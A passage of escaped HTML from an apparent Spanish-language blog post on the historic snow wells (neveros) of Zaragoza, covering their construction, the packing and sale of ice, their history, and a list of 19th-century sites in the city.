derritiendo mediante un canalillo y así evitar que se formara barro al contacto
con la tierra. Algunos neveros tenían adosada a la pared una escalera que
descendía hasta el fondo, aunque lo más común era usar escaleras portátiles de
madera. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;El exterior, muy
simple, se correspondía con la forma del pozo (circular o rectangular) y sólo había
una o dos aberturas por donde entrar y realizar los trabajos. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;De una u otra forma
estaban cubiertos para protegerlos de las inclemencias del tiempo y del calor y
para impedir la entrada de cualquier cosa que ensuciara la nieve. Las cubiertas
eran de tejas o de piedra, en cuyo caso, cerraban el pozo con falsas bóvedas
por aproximación de hiladas, como en el nevero que se conserva en Fuendetodos&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/b&gt; (Zaragoza). &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Estos pozos,
lógicamente, se situaban en las zonas en las que más nieve se acumulaba, pero siempre
teniendo en cuenta que no estuvieran demasiado alejados de los lugares de
consumo.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Desconocemos la
forma que tenían los neveros de nuestra ciudad, es de suponer que seguirían la
estructura típica utilizada para conservar la nieve, pero en el exterior parece
lógico que los situados en pleno casco urbano no tuvieran el “torreón”
característico y simplemente se cubrieran a ras de suelo con maderas o algún
otro material.&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;En este verano, tan
caluroso, ¿quién no ha tomado una bebida fría o un helado? Hoy en día es algo
habitual, que está al alcance de todos en nuestro hogar o fuera de él, pero no
hace tanto tiempo no era así, al menos no para cualquiera.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin: 0px; text-align: center;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin: 0px; text-align: center;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin: 0px; text-align: center;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin: 0px; text-align: center;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;ariala&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;520&#39; height=&#39;466&#39; src=&#39;https://www.blogger.com/video.g?token=AD6v5dy6tAMV1UaVWyreKGF_byDTeR1hV3u0uH9k_wXv1p2tNNFB9E8o4SZMT3BCuphW4Arj0fx3bqfJoaKaQYFNJA&#39; class=&#39;b-hbp-video b-uploaded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;harial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Con la llegada de
los meses fríos comenzaban los trabajos de recogida de la nieve que era la
propia del lugar o la traída de las sierras cercanas en caballerías y burros. La
labor se realizaba de noche para evitar el fundido de la nieve durante el
transporte. &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;Llegados al pozo, la nieve se
echaba desde arriba y se compacta pisándola y golpeándola con mazas para convertirla
en hielo; así se reducía su volumen y le costaba más derretirse. Una vez hecha
la primera tanda de nieve compactada se echaba sobre ella una capa de paja para
separarla de la tanda siguiente y, capa a capa, se llenaba el nevero. La paja,
además de un buen aislante, facilitaba su posterior extracción al impedir que
se formase un enorme bloque de hielo difícil de romper. Una vez llenos los
neveros se cerraban los accesos exteriores hasta que llegaba la época de la
venta del hielo. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Al comenzar los
meses cálidos se procedía al &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;desempoce&lt;/i&gt;,
es decir a destapar el pozo, trocear el hielo y sacarlo al exterior, trabajo
que se realizaba mediante una polea que se colgaba de una argolla situada junto
a la puerta de entrada.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Los bloques de
hielo se llevaban de noche a los lugares de consumo, en los que se depositaba
en las &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;neverías&lt;/i&gt;, &lt;/b&gt;pozos ciudadanos o en puntos de venta directa.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Conocemos la
existencia de &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;neveros&lt;/b&gt; en la antigua Roma,
anteriores al 200 a.C., donde sabemos que el uso del hielo estuvo muy
extendido. Después, en la Alta Edad Media la utilización de los neveros decayó
en Europa (no en Al Andalus), pero comenzó a crecer a partir del s. XIV y al
llegar el s. XVI alcanzó un gran desarrollo, que se prolongó hasta finales del
s. XIX y comienzos del s. XX, cuando aparecieron las fábricas de hielo que los
hizo innecesarios. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Sin duda, la &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Pequeña Edad del Hielo&lt;/b&gt; (1300-1850) con
sus gélidos inviernos, abundantes nieves y frescos y cortos veranos, favoreció
ampliamente el uso del hielo y por tanto la construcción de neveros, que se
prodigaron a lo largo y ancho de nuestro país.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;El comercio de la
nieve aportaba pingües beneficios a quienes lo explotaban, por lo que no estaba
en manos de cualquiera, estando además regulado.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;Zaragoza &lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;no fue ajena a todo
esto, la ciudad consumía mucho hielo y tuvo neveros no sólo en sus alrededores
sino también en su propio solar, neveros o &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;neverías&lt;/i&gt;
que siguieron utilizándose hasta comienzos del s. XX.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;Mariano Gracia Albacar&lt;sup&gt;2&lt;/sup&gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt; cita algunos de ellos que estaban en plena actividad a mitad del s.
XIX, señalando que “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;abundaban
extraordinariamente en Zaragoza&lt;/i&gt;” indicando además su ubicación.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGhng_TE8OxVctKJGoieS2RjhINHb6ULlRyo2ybSKKl87XFoeqWkTBh34Ixd3etxo3B6YfxHJl34t5QZtA4fGcIMP8SK8Bc-82JzBXZSdvO4AGmpewLoSVTIM-GgnQ0WhTu9ahDxQQcKLb/s1600/plano-neveros.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1172&quot; data-original-width=&quot;1600&quot; height=&quot;468&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGhng_TE8OxVctKJGoieS2RjhINHb6ULlRyo2ybSKKl87XFoeqWkTBh34Ixd3etxo3B6YfxHJl34t5QZtA4fGcIMP8SK8Bc-82JzBXZSdvO4AGmpewLoSVTIM-GgnQ0WhTu9ahDxQQcKLb/s640/plano-neveros.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;Localización realizada por Rosa Germán&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;u&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;SITUACIÓN DE LOS NEVEROS O POZOS DE NIEVE EN ZARAGOZA&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt; (Según relata M. Gracia)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;u&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;Plaza de las Eras
de San Agustín&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu8eJa9HpkcgeIrTfbHT5pgWxjFnO5BnAOLAGPju38DNo2nXyWtabwobNkeUG0tdJra_9yTYtYTsKCLZnI7HEq9L3Ert1uY_g3NJhQsfqnxIFw5cxpGTWKPa7R3ADfOl0uSQVuNPr1yHPH/s1600/plano-neveros.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Había dos pozos de hielo
que antaño fueron de este convento y después del “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;zuquero&lt;/i&gt; &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;señor Lafita”&lt;/i&gt;,
uno de ellos muy grande, que seguramente era &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“ el de mayores dimensiones de todos los que había dentro y fuera de la
población”&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;u&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;Solar del
Seminario de San Carlos&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Esquina al Coso,
muy grande y situado &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“ casi en medio del
Coso, que despareció cuando se hizo parte del derribo del grandioso edificio
anejo al templo de San Carlos”.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;u&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;Calle D. Jaime I esquina con el Coso&lt;/span&gt;&lt;/u&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;“Donde se hallaba el café de Gimeno”&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;u&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;San Lázaro&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;En el solar del
antiguo convento, a orillas del Ebro en su margen izquierda, cerca del Puente
de Piedra, era &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“propiedad de Tomé”&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;u&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;Jesús&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;En el solar del
antiguo convento, en la margen izquierda del Ebro, era &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“propiedad de don Jacinto Corralé, afamado médico cirujano”&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;u&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;Calle Zurita&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Entonces zona sin
urbanizar, era propiedad de &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“don Joaquín
Mayral, dueño del café de las Delicias”&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
